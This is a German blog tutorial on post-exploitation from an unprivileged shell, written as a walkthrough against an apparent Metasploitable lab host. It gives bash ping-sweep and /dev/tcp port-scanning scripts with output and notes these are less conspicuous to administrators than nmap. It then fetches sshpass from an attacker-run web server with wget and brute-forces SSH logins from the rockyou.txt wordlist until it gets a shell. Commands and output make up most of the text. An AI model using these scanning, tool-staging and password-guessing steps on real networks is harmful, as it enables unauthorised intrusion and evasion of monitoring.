Nur normale Userrechte - was tun?

14.09.2018, 21:29 - Autor: PGD
Viele Angriffe die Erfolg haben Enden dann im Account eines unpriviligierten Users - nachinstallieren von Tools fällt damit in der Regel auch flach.

Mit Glück hat man Zugriff auf Entwicklerwerkzeuge und kann sich das nötige Handwerkszeug aus den Quellcode selbst bauen. Meist hat man zumindest Zugriff auf Python, Perl oder PHP und kann damit fertige Scripte ausführen oder eigene Tool entwicken. Nehem wir an, dass weder Spriptsprachen noch andere Tools oder Privilege-Escalation Angriffe zur Verfügung stehenn - wir wollen uns an dieser Stelle ansehen was passiert wenn man vollig "nackt" dasteht...

Keine Rechte, keine Tools - kein Problem!

Etwas das quasi immer Verfügbar ist ist die bash (Bourne Again SHell) und damit lassen sich auch problemlos kleine Bash-Scripte schreiben. Zuerst wollen wir uns ein wenig im Netzwerk umsehen:

hans_arsch@firmenserver:~ $ net="192.168.1"; for i in {1..254}; do ping $net.$i -c 1 &> /dev/null && echo "$net.$i is UP"; done;
192.168.1.1 is UP
192.168.1.3 is UP
192.168.1.7 is UP
192.168.1.14 is UP
192.168.1.66 is UP
192.168.1.80 is UP
192.168.1.101 is UP
192.168.1.185 is UP
192.168.1.186 is UP

In der Variable net legen wir die ersten drei Oktete der IP-Addresse (zB 192.168.1) ab. Mit for i in {1..254} durchlaufen wir alle Nummern von 1 bis 254. Für jede dieser Nummern führen wir ping $net.$i -c 1 aus was bedeutet, dass wir einen einzigen Ping (-c 1) zuerst an 192.168.1.1, dann an 192.168.1.2, usw. bis 192.168.1.254 senden.

Mit &> /dev/null leiten wir sowohl Stdout als auch Stderr an /dev/null um. Somit werden normale Programmausgaben als auch Fehler unterdrückt. Um nun auszuwerten ob der Ping erfolgreich war verwenden wir && echo "$net.$i is UP". Die &&-Verknüpfung von zwei Kommandos führt das rechte Kommando nur dann aus wenn das linke erfolgreich war. Somit erhalten wir nur dann eine Ausgabe wenn ping eine Antwort erhielt.

Nun sollten wir uns einen der Rechner genauer ansehen:

hans_arsch@firmenserver:~ $ for j in {1..10000}; do timeout 0.1 bash -c "echo >/dev/tcp/192.168.1.1/$j" && echo "$j/tcp open"; done
53/tcp open
80/tcp open

Es wäre nun etwas mühsam das immer von Hand für jeden Rechner zu machen zumal ein Scan auch ca. 1000 (10.000 * 0.1) Sekunden dauert. Also sehen wir uns an wie wir das Scannen nach aktiven Rechnern und den offenen Ports in einem ablaufen lassen können:

net="192.168.1";
echo "Start scaning $net.1-254"
for i in {1..254}
do
    ping $net.$i -c 1 &> /dev/null
    if [ $? -eq 0 ]
    then
        echo "-------------------------------"
        echo "$net.$i is UP"
        for j in {1..10000}
        do
            echo -ne "trying port $j \r"
            timeout 0.1 bash -c "echo >/dev/tcp/$net.$i/$j" &> /dev/null && echo "$j/tcp open    "
        done
    fi
done

Diese Datei speichern wir als portscan.sh ab. Bevor wir die Datei laufen lassen sehen wir uns noch einmal die Funktionsweise an...

Die Variable net, die for-Schleife und den ping-Befehl mit der Ausgabeumlenkung nach /dev/null kennen wir bereits. if [ $? -eq 0 ] macht im Grunde das gleiche wie die &&-Verknüpfung. Die Variable $? enthält den Rückgabewert des zuletzt ausgeführten Kommandos - hierbei steht 0 für alles OK und jeder andere Wert für einen Fehler:

hans_arsch@firmenserver:~ $ ping 192.168.1.1 -c 1 
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=1.89 ms

--- 192.168.1.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.890/1.890/1.890/0.000 ms
hans_arsch@firmenserver:~ $ echo $?
0

hans_arsch@firmenserver:~ $ ping 192.168.1.31 -c 1 
PING 192.168.1.31 (192.168.1.31) 56(84) bytes of data.
From 192.168.1.14 icmp_seq=1 Destination Host Unreachable

--- 192.168.1.31 ping statistics ---
1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms
hans_arsch@firmenserver:~ $ echo $?
1

hans_arsch@firmenserver:~ $ ping 192.168.1.311 -c 1 
ping: 192.168.1.311: Der Name oder der Dienst ist nicht bekannt
hans_arsch@firmenserver:~ $ echo $?
2

Die zweite Schleife (for j in {1..10000}) durchläuft nun die Zahlen 1 bis 10.000 und gibt mit echo -ne "trying port $j \r" eine Statusmeldung aus. Hierbei sorgt -ne dafür, dass keine Zeilenschaltung am Ende der Ausgabe erfolgt und das \r im String setzt den Cursor wieder an den Zeilenanfang damit die Statusmeldung von der nächsten überschrieben wird.

timeout 0.1 setzt das timeout für den nachfolgenden Befehl auf 0.1 Sekunden und bash -c führt eine neue Bourne Again Shell Instanz mit dem Befehl echo >/dev/tcp/$net.$i/$j aus. Damit senden wir leere Daten über TCP an zB 192.168.1.1 und den Port 1, danach den Port 2, usw. bis Port 10.000! Die Umlenkung der Ausgaben und &&-Verknüpfung kennen sie bereits.

Das erste done schließt die innere Schleife, das fi die if-Abfrage und das letzte done folgerichtig die äußere Schleife...

hans_arsch@firmenserver:~ $ bash portscan.sh
Start scaning 192.168.1.1-254
-------------------------------
192.168.1.1 is UP
53/tcp open
80/tcp open
-------------------------------
192.168.1.3 is UP
22/tcp open
80/tcp open
3306/tcp open
-------------------------------
192.168.1.7 is UP
22/tcp open
-------------------------------
192.168.1.14 is UP
21/tcp open
22/tcp open
23/tcp open
80/tcp open
139/tcp open
445/tcp open
-------------------------------
192.168.1.66 is UP
80/tcp open
222/tcp open
-------------------------------
192.168.1.80 is UP
21/tcp open
22/tcp open
23/tcp open
25/tcp open
53/tcp open
80/tcp open
111/tcp open
139/tcp open
445/tcp open
512/tcp open
513/tcp open
514/tcp open
1099/tcp open
1524/tcp open
2049/tcp open
2121/tcp open
3306/tcp open
3632/tcp open
5432/tcp open
5900/tcp open
6000/tcp open
6667/tcp open
6697/tcp open
8009/tcp open
8180/tcp open
8787/tcp open
-------------------------------
192.168.1.101 is UP
-------------------------------
192.168.1.185 is UP
-------------------------------
192.168.1.186 is UP
22/tcp open
111/tcp open
2049/tcp open
Trying port 10000

Wenn garnichts geht, geht bash ;-)

Ich habe in so vielen Logs von Honeypots gesehen wie Angreifer verzeweifelt auf der Suche nach irgendwelchen Entwicklertools und Spriptsprachen sind um ausgefeiltere Tools zu übersetzen oder laufen zu lassen... Dabei wir das eine Tool mit dem Sie die ganze Zeit arbeiten allzuoft übersehen. Die bash kann weit mehr als nur Programm starten und Dateien verwalten!

Sehen wir uns noch an was ein Administrator während dieser Zeit sehen könnte:

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
25897 hans_ar+  20   0    6464   4436   2384 S   2.0  0.5   1:14.08 bash
31486 root      20   0    8120   3344   2836 R   1.6  0.4   0:00.30 top
17070 mark      20   0   11664   4168   3388 S   0.3  0.4   0:32.27 sshd
20373 mysql     20   0  616960  67004  14512 S   0.3  7.1   0:16.56 mysqld
31708 hans_ar+  20   0    4588    572    484 S   0.3  0.1   0:00.01 bash
32211 root      20   0       0      0      0 I   0.3  0.0   0:02.17 kworker/1:0
    1 root      20   0    9680   5992   4820 S   0.0  0.6   0:09.79 systemd
  ... Ausgabe gekürzt

Wenn Sie mich fragen ist diese Ausgabe deutlich weniger Verdächtig als wenn plötzlich namp oder ein anderes berühmt berüchtigtes Tool am Server laufen würde...

... und wir dringen weiter vor!

Als nächstes wollen wir versuchen per SSH auf einen anderen Rechner zu kommen. Dazu benötigen wir ein Programm namens sshpass. Da wir es nicht am Opfer installieren können habe ich das Programm unter Kali installiert, in das HTTP-Root-Verzeichnis kopiert

root@kali:~# apt-get install sshpass
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
  sshpass
0 upgraded, 1 newly installed, 0 to remove and 1503 not upgraded.
Need to get 11.3 kB of archives.
After this operation, 31.7 kB of additional disk space will be used.
Get:1 http://mirror.karneval.cz/pub/linux/kali kali-rolling/main amd64
sshpass amd64 1.06-1 [11.3 kB]
Selecting previously unselected package sshpass.
(Reading database ... 362474 files and directories currently installed.)
Preparing to unpack .../sshpass_1.06-1_amd64.deb ...
Unpacking sshpass (1.06-1) ...
Setting up sshpass (1.06-1) ...
Processing triggers for man-db (2.8.2-1) ...
root@kali:~# whereis sshpass
sshpass: /usr/bin/sshpass /usr/share/man/man1/sshpass.1.gz
root@kali:~# cp /usr/bin/sshpass /var/www/html/
root@kali:~# service apache2 start

und dann am Opfer-PC heruntergeladen und als ausführbar markiert:

hans_arsch@firmenserver:~ $ wget http://192.168.1.186/sshpass
--2018-09-14 22:49:34--  http://192.168.1.186/sshpass
Verbindungsaufbau zu 192.168.1.186:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 14344 (14K)
Wird in »»sshpass«« gespeichert.

sshpass                           100%[============================================================>]  14,01K  --.-KB/s    in 0s      

2018-09-14 22:49:34 (139 MB/s) - »»sshpass«« gespeichert [14344/14344]

hans_arsch@firmenserver:~ $ chmod +x sshpass 
hans_arsch@firmenserver:~ $ ./sshpass 
Usage: sshpass [-f|-d|-p|-e] [-hV] command parameters
   -f filename   Take password to use from file
   -d number     Use number as file descriptor for getting password
   -p password   Provide password as argument (security unwise)
   ... Ausgabe gekürzt
At most one of -f, -d, -p or -e should be used

Genau so wie sshpass könnten Sie auch weitere Tools, Wortlicheten, usw. auf den Rechner laden. Bevor wir den Angriff starten sollten wir versuchen und anzumelden um zumindest einmal den Fingerprint des Rechners zu importieren. Andernfalls wird der Angriff in der hier gezeigten Weise fehlschlagen!

hans_arsch@firmenserver:~ $ ssh 192.168.1.80
The authenticity of host '192.168.1.80 (192.168.1.186)' can't be established.
RSA key fingerprint is SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.80' (RSA) to the list of known hosts.
hans_arsch@192.168.1.80's password: ^C

Den manuellen Verbindungsversuch können wir mit [Strg] + [c] abbrechen und schon kann der Angriff beginnen:

hans_arsch@firmenserver:~ $ for i in `cat rockyou.txt`; do echo "Trying password '\$i'"; ./sshpass -p $i ssh -l msfadmin 192.168.1.80 2> /dev/null; done;
Trying password 'password'
Trying password '123456'
Trying password 'password1'
Trying password 'toor'
Trying password 'msfadmin'
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Mon Aug 20 03:06:49 2018
msfadmin@metasploitable:~$ 

Auch dieses Konstrukt sollte Ihnen sehr bekannt vorkommen... `cat rockyou.txt` führt den cat Befehl in einer Subshell aus und ermöglicht es uns so die Datei rockyou.txt zeilenweise zu verarbeiten. Ebenfalls neu ist 2> /dev/null - dies Ausgabeumleitung unterdrückt nur die Meldungen von Stderr aber nicht von Stdin.

Sie können gerne als kleine Shellscripting-Übung versuchen mit drei Schleifen Benutzernamen aus einer Datei und die Passwörter aus einer anderen Datei gegen alle Rechner-IPs aus einer dritten Datei abzugleichen...